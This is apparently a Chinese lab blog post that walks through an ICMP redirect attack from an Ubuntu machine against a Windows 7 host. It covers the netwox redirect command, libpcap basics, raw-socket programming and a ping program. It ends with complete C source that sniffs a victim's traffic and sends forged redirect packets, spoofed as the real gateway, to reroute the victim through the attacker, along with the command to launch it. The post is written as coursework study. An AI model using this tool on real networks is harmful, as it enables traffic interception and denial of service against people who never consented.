实现ICMP重定向攻击

环境:攻击机Ubuntu 18 ,受攻击机Windows7
一、使用netwox体会实验效果,netwox发出的ICMP重定向包的目的IP是受害者的IP,也即,netwox先抓到受害者的数据包,根据捕获包的IP地址,再构造攻击包。

1.Ubuntu安装netwox

sudo apt-get install netwox

2.用netwox做重定向攻击

netwox 86 -g 新的网关地址 -i 目标机当前使用的网关地址

3.在目标机上安装wireshark程序(参考网上),执行ping命令,并启动wireshark抓包,观察虚拟机1 (攻击者)的netwox程序发出的数据包。

二、pcap简单介绍与应用
2.1 pcap简介
pcap是一个抓包库,这个抓包库给抓包系统提供了一个高层次的接口。所有网络上的数据包,甚至是那些发送给其他主机的,通过这种机制,都是可以捕获的。它也支持把捕获的数据包保存为本地文件和从本地文件读取信息。而使用pcap需要以下的流程:

  • 确认嗅探的接口,如Linux中的eth0;

  • 初始化pcap,告诉pcap需要嗅探的接口。使用文件句柄来命名区分不同的对话;

  • 创建自己的规则集,保存在字符串中,“编译“并应用它;

  • 规定循环方式并定义回调函数,回调函数在抓到满足我们的规则集的数据报时执行;

  • 结束会话

接下来我们按照这个步骤一步一步来设置一个简单的pcap程序:

2.2 写一个简单的pcap程序

2.2.1 嗅探接口

    #include <stdio.h>
	#include <pcap.h>//pcap.h

	int main()
	{
		char *device;//存储pcap_lookupdev自动寻找到的可用interface
		char err[PCAP_ERRBUF_SIZE];//用于记录pcap_lookupdev的错误信息

		device = pcap_lookupdev(errbuf);//寻找第一个可用的网络interface
		if (device == NULL) {
			fprintf(stderr, "Can't find valid interface: %s\n", err);
			return(2);
		}
		printf("Valid Interface: %s\n", device);
		return(0);
	}

尝试运行一下

gcc pcap1.c -o pcap

这里可能会报错找不到pcap.h这个头文件,说明运行机器上未安装libpcap库

安装GNU M4这个是编译flex必备的环境,否则会提示“GNU M4is required”的错误。直接在终端执行

sudo apt-get install m4

安装flex直接在终端执行

sudo apt-get install flex

安装bison直接在终端执行

sudo apt-get install bison

5.安装libpcap上面四步完成后,首先去官网下载libpcap的压缩包,tar -zxvf libpcap-1.9.1.tar.gz 解压后,通过终端进入存放该libpcap到文件路径,就可以使用下面三个指令安装libpcap环境。

./configure
make
sudo make install

第三步建议以sudo到身份执行该命令,否则可能因为权限原因而无法正确执行。完成以上步骤后,libpcap即安装成功。

再次编译,此时加上 -lpcap,告诉gcc要去找pcap的库,但是还是报错,原因是安装libpcap时,.so文件没有在gcc寻找库的默认文件夹下

/usr/local/lib$ sudo cp libpcap.so.1 /usr/lib

/usr/local/lib下,将库文件libpcap.so.1复制到/usr/lib即可
此时再次编译

gcc pcap1.c -o pcap1 -lpcap
./pcap1

运行结果:The Valid Interface is: ens33
en33正式本实验机的接口名称。

2.2.2 打开设备嗅探

 #include <pcap.h>
	 ...
	 pcap_t *handle;//pcap_t结构体,用于接收pcap_open_live返回的句柄

	 handle = pcap_open_live(device, BUFSIZ, 1, 1000, err);
	 if (handle == NULL) {
		 fprintf(stderr, "Couldn't open device %s: %s\n", dev, err);
		 return(2);
	 }

pcap_open_live(device, BUFSIZ, 1, 1000, err);:用于获取一个数据包捕获的描述符,以便用来查看网络上的数据包。
device:上文的pcap_lookupdev获得的可用接口;
BUFSIZ:从次device获取流量的缓冲区大小;
1:是否开启混杂模式(是否接收与本机无关的流量);
1000:设置的超时时间(毫秒);
err:存储该函数的错误信息

gcc pcap2.c -o pcap2 -lpcap
sudo ./pcap2.c

执行此函数的时候要sudo,因为要获得接口的流量,需要管理员权限。

2.2.3 定义规则集

对流量进行过滤需要使用pcap_compile()和pcap_setfilter(),前者给指定的数据包捕获描述符设定过滤规则,后者运行这个过滤规则。

int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask)

可以看到编译函数共有五个参数,他们分别是:

  • pcap句柄

  • 存储过滤器的编译版本的位置的引用

  • 规则集,规则集很灵活,pcap规则集

  • 是否优化表达式

  • 指定过滤器适用的网络的网络掩码,可以直接写0

  int pcap_setfilter(pcap_t *p, struct bpf_program *fp)
  • pcap句柄

  • 存储过滤器的编译版本的位置的引用
    简单举个例子:

#include <pcap.h>
	 ...
	 pcap_t *handle;		/* Session handle */
	 char dev[] = "rl0";		/* Device to sniff on */
	 char errbuf[PCAP_ERRBUF_SIZE];	/* Error string */
	 struct bpf_program fp;		/* The compiled filter expression */
	 char filter_exp[] = "port 23";	/* The filter expression ,目标端口23*/
	 bpf_u_int32 mask;		/* The netmask of our sniffing device */
	 bpf_u_int32 net;		/* The IP of our sniffing device */

	//调用函数自动寻找网络掩码
	 if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
		 fprintf(stderr, "Can't get netmask for device %s\n", dev);
		 net = 0;
		 mask = 0;
	 }
	 //打开句柄
	 handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
	 if (handle == NULL) {
		 fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
		 return 0;
	 }
	 //编译过滤
	 if (pcap_compile(handle, &fp, filter_exp, 0, mask) == -1) {
		 fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
		 return 0;
	 }
	 //应用
	 if (pcap_setfilter(handle, &fp) == -1) {
		 fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
		 return 0;
	 }

2.2.4 定义循环方式与回调函数

设置好了我们的过滤器,我们就要对数据报进行我们想要的处理了,首先我们要规则我们的循环方式,其主要的循环方式有两种,分别是pcap_next,这种方式是捕获单个数据报,而pcap_loop则是循环抓包,首先看看pcap_next:

//参数声明
struct pcap_pkthdr header;
const u_char *packet;

//函数调用
packet = pcap_next(handle, &header);

第一个参数是我们的会话句柄。 第二个参数是一个指向结构的指针,该结构保存有关数据包的一般信息,特别是它被嗅探的时间、此数据包的长度以及其特定部分的长度(例如,分片的情况)。pcap_next ()返回一个u_char指针,指向此结构描述的数据包。
而更多的用户会使用pcap_loop:

int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user)

此处有四个参数,他们分别是

  • pcap句柄
  • 循环次数(负值代码一直抓直到发生错误)
  • 回调函数
  • 希望向回调函数传递的参数

除了这两者,还有另外一个 pcap_dispatch(),用法与loop差不多,唯一取别是其只处理系统收到的第一批数据包。
明白了循环定义方式,接下来我们要定义我们的回调函数,为了满足pcap函数,我们需要以固定格式定义我们的回调函数,如下:

void got_packet(u_char *args, const struct pcap_pkthdr *header,  const u_char *packet);

第一个参数就是刚刚loop调用的最后一个参数;第二个包含了我们所嗅探的包的一些基本信息,如抓取时间和长度;第三个指向整个数据报。
pcap_loop()函数 和 callback()回调函数

三、raw socket编程

介绍一下socket编程:
首先是socket函数:
int socket(int domain, int type, int protocol);
这个函数建立一个协议族为domain、协议类型为type、协议编号为protocol的套接字文件描述符。如果函数调用成功,会返回一个标识这个套接字的文件描述符,失败的时候返回-1
domain:
在这里插入图片描述type:
在这里插入图片描述使用SOCK_RAW时,创建一个原始套接字.然而这种类型套接字的功能却与TCP或者UDP类型套接字的功能有很大的不同:TCP/UDP类型的套接字只能够访问传输层以及传输层以上的数据,因为当IP层把数据传递给传输层时,下层的数据包头已经被丢掉了.而原始套接字却可以访问传输层以下的数据,所以使用 raw套接字你可以实现上至应用层的数据操作,也可以实现下至链路层的数据操作.

使用原始套接字时应该注意的问题(摘自)

(1):对于UDP/TCP产生的IP数据包,内核不将它传递给任何原始套接字,而只是将这些数据交给对应的UDP/TCP数据处理句柄(所以,如果你想要通过原始套接字来访问TCP/UDP或者其它类型的数据,调用socket函数创建原始套接字第三个参数应该指定为htons(ETH_P_IP),也就是通过直接访问数据链路层来实现.(我们后面的密码窃取器就是基于这种类型的).

(2):对于ICMP和EGP等使用IP数据包承载数据但又在传输层之下的协议类型的IP数据包,内核不管是否已经有注册了的句柄来处理这些数据,都会将这些IP数据包复制一份传递给协议类型匹配的原始套接字.

(3):对于不能识别协议类型的数据包,内核进行必要的校验,然后会查看是否有类型匹配的原始套接字负责处理这些数据,如果有的话,就会将这些IP数据包复制一份传递给匹配的原始套接字,否则,内核将会丢弃这个IP数据包,并返回一个ICMP主机不可达的消息给源主机.

(4): 如果原始套接字bind绑定了一个地址,核心只将目的地址为本机IP地址的数包传递给原始套接字,如果某个原始套接字没有bind地址,核心就会把收到的所有IP数据包发给这个原始套接字.

(5): 如果原始套接字调用了connect函数,则核心只将源地址为connect连接的IP地址的IP数据包传递给这个原始套接字.

(6):如果原始套接字没有调用bind和connect函数,则核心会将所有协议匹配的IP数据包传递给这个原始套接字.

int setsockopt(int sockfd, int level, int optname,const void *optval, socklen_t optlen);

level:选项所在的协议层。 level指定控制套接字的层次.可以取三种值:

  • SOL_SOCKET:通用套接字选项.

  • IPPROTO_IP:IP选项.
    在这里插入图片描述

  • IPPROTO_TCP:TCP选项.
    在这里插入图片描述

optname:
当需要编写自己的IP数据包首部时,可以在optname上设置套接字选项IP_HDRINCL.在不设置这个选项的情况下,IP协议自动填充IP数据包的首部。

optval:
对于getsockopt(),指向返回选项值的缓冲;对于setsockopt(),指向包含新选项值的缓冲。

optlen:
对于setsockopt(),是新选项值的长度。

根据raw socket简单写一个ping程序:

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include<netinet/ip_icmp.h>

struct sockaddr_in target, from;//target用于存储目标ip地址

int main(int argc,char *argv[])
{
    int sockfd;
    int i;
    char sendbuff[8];//存储icmp报头,作为ip数据包的数据部分
    struct icmp *icmp;


    sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);//创建一个ICMP的原始套接字

    icmp = (struct icmp*)sendbuff;
    //自定义icmp报头信息
	icmp->icmp_type = ICMP_ECHO;
	icmp->icmp_code = 0;
	icmp->icmp_cksum = 0;
	icmp->icmp_id=2;
	icmp->icmp_seq=3;
    printf("buff is %x.\n",*sendbuff);
    printf("target is %s\n",argv[1]);
    if(argc !=2)
    {
        printf("Usage:%s targetip",argv[0]);
        exit(1);
    }

    if(inet_aton(argv[1],&target.sin_addr) == 0)//将命令行的点分字符串IP地址转换为一个32位的网络序列IP地址
    {
        printf("bad ip address %s\n",argv[1]);
        exit(1);
    }

    while(1)
    {
        i = sendto(sockfd,sendbuff,8,0,(struct sockaddr *)&target,sizeof(target));
        //sendto是UDP下的socket编程发送数据的函数,将sendbuff里的内容发送到sockfd表示的socket链接上,8是所发送数据的字节数,0是flag,一般设为0,
        printf("Already send %d bytes data\n",i);
        sleep(1);
    }

    close(sockfd);
    return 1;
}

注意:

  • struct sockaddr_in target, from;这两个结构体变量的声明必须在main函数之外,如果在main函数之内,sendto()会返回-1,即执行失败,暂时我还不知道为什么
    经过测试printf("testing %d\n",target.sin_addr.s_addr);不管target声明在main函数的内还是外,写入到target里的目标ip都是没问题,可以输出的,但是sendto函数就是会出错。。。,总之肯定是target作用域的问题。。。
  • 运行这个ping程序需要root权限,先su root,原因是raw socket的使用需要root权限

ping程序的运行结果:
Ubuntu攻击机:
在这里插入图片描述Win7的目标机的WireShark:
在这里插入图片描述
直接写ICMP重定向攻击:

#include <pcap.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <string.h>
#include <arpa/inet.h>

#define MAX 1024
#define SIZE_ETHERNET 14

/* IP header */
	struct sniff_ip {//构建一个ip头部结构,用于捕获所抓获数据包的源ip地址
		u_char ip_vhl;		/* version << 4 | header length >> 2 */
		u_char ip_tos;		/* type of service */
		u_short ip_len;		/* total length */
		u_short ip_id;		/* identification */
		u_short ip_off;		/* fragment offset field */
	#define IP_RF 0x8000		/* reserved fragment flag */
	#define IP_DF 0x4000		/* dont fragment flag */
	#define IP_MF 0x2000		/* more fragments flag */
	#define IP_OFFMASK 0x1fff	/* mask for fragmenting bits */
		u_char ip_ttl;		/* time to live */
		u_char ip_p;		/* protocol */
		u_short ip_sum;		/* checksum */
		struct in_addr ip_src;
		struct in_addr ip_dst; /* source and dest address */
	};
	#define IP_HL(ip)		(((ip)->ip_vhl) & 0x0f)
	#define IP_V(ip)		(((ip)->ip_vhl) >> 4)


 unsigned char *Original_GW_IP  ;//原网关ip
 unsigned char *Attacker_IP  ;//攻击机ip,或者新网关ip
 char Temp_Tar_IP[4];
 unsigned char *Target_IP;


//ip报头与icmp包头的校验字段函数
unsigned short checksum(unsigned char *buf, int len)
{
    unsigned int sum = 0 ;
    unsigned short *cbuf;

    cbuf = (unsigned short *)buf;

    while(len>1)
    {
        sum += *cbuf++;
        len -= 2;
    }

    if(len)
        sum += *(unsigned char *)cbuf;

    sum = (sum >> 16)+(sum & 0xffff);
    sum += (sum >>16);
    return ~sum;

}

void Redirect(int sockfd,const unsigned char *data,int datalen)
{


    struct packet{
        struct iphdr ip;
        struct icmphdr icmp;
        char datas[28];
    }packet;
	//将原ip报文的前28个字节作为icmp报文的数据部分
    memcpy(packet.datas,(data+SIZE_ETHERNET),28);  
    //伪造ip头部
    packet.ip.version = 4;//ip版本是ipv4
    packet.ip.ihl = 5;//ip头部长度是5*4 = 20B
    packet.ip.tos = 0;//全0表示最低优先级
    packet.ip.tot_len = htons(56);//总长度56B
    packet.ip.id = 1;//标志为1
    packet.ip.frag_off = 0;//片偏移和标志物全0,即不分片,总长度56也不需要分片
    packet.ip.ttl = 255;//跳数
    packet.ip.protocol = IPPROTO_ICMP;//ip报文的上层协议是icmp
    packet.ip.check = 0;//校验码先置0
    packet.ip.saddr = inet_addr(Original_GW_IP);//伪造的源ip
    packet.ip.daddr = inet_addr(Target_IP);//伪造的目的ip
  	//伪造icmp头部
    packet.icmp.type = ICMP_REDIRECT;//05,表示icmp重定向报文
    packet.icmp.code = ICMP_REDIR_HOST;//01,表示对主机的重定向
    packet.icmp.checksum = 0;
    packet.icmp.un.gateway = inet_addr(Attacker_IP);//伪造的新网关ip
    struct sockaddr_in dest =  {
        .sin_family = AF_INET,
        .sin_addr = {
            .s_addr = inet_addr(Target_IP)
        }
    };


    packet.ip.check = checksum(&packet.ip,sizeof(packet.ip));
    packet.icmp.checksum = checksum(&packet.icmp,sizeof(packet.icmp)+28);
	//将打包伪造好的数据packet通过sockfd所指向的连接,发送给dest所表明目标ip地址
    sendto(sockfd,&packet,56,0,(struct sockaddr *)&dest,sizeof(dest));

}

void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
    int sockfd;
    int one = 1;
    int *ptr_one = &one;
	//获取所捕获报文的源ip地址,确定攻击对象
    const struct sniff_ip *ip;
    ip = (struct sniff_ip *)(packet + SIZE_ETHERNET);
    Target_IP = inet_ntoa(ip->ip_src);

    printf("got a packet!\n");
    if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
    {
        printf("create sockfd failed\n");
        exit(-1);
    }

    if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL,ptr_one, sizeof(one))<0)
    {
    	printf("setsockopt failed\n");
        exit(-1);
    }

    Redirect(sockfd,packet,0);

}

int main(int argc,char *argv[])
{
    unsigned char *filterip;//用于指向过滤ip的指针
    char *device;//接口指针
    char *err[PCAP_ERRBUF_SIZE];//错误数组
    pcap_t *handle;

    device = pcap_lookupdev(err);

    if(device == NULL)
    {
        fprintf(stderr,"Can't find a valid interface: %s\n",err);
        return 0;
    }
    printf("The valid interface:%s\n",device);

    handle = pcap_open_live(device,65535,1,1000,err);

    char filterstr[50] = {0};
    struct bpf_program filter;
    printf("%s,%s\n",argv[1],argv[2]);
    Attacker_IP = argv[1];
    printf("Attacker_IP is:%s\n",Attacker_IP);
    Original_GW_IP = argv[2];
    filterip = argv[3];

    sprintf(filterstr,"src host %s",filterip);

    pcap_compile(handle,&filter,filterstr,1,0);
    pcap_setfilter(handle,&filter);

    printf("Start\n");
    pcap_loop(handle,-1,getPacket,NULL);
    return 1;
}

sudo ./temp 攻击机ip 原网关ip 就可以发动攻击了,我这里最后还输入目标ip地址,作为过滤器,虽然这会导致ICMP攻击只对一个ip生效,但是如果全局域网攻击,会导致对单个ip的攻击效力太低,比如我的目标机ping外网有50%的概率能ping通,如果限制了目标ip地址,就能100%ping不通,比较程序比较简单,也不是多线程,理解一些

已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 数字20 设计师:CSDN官方博客 返回首页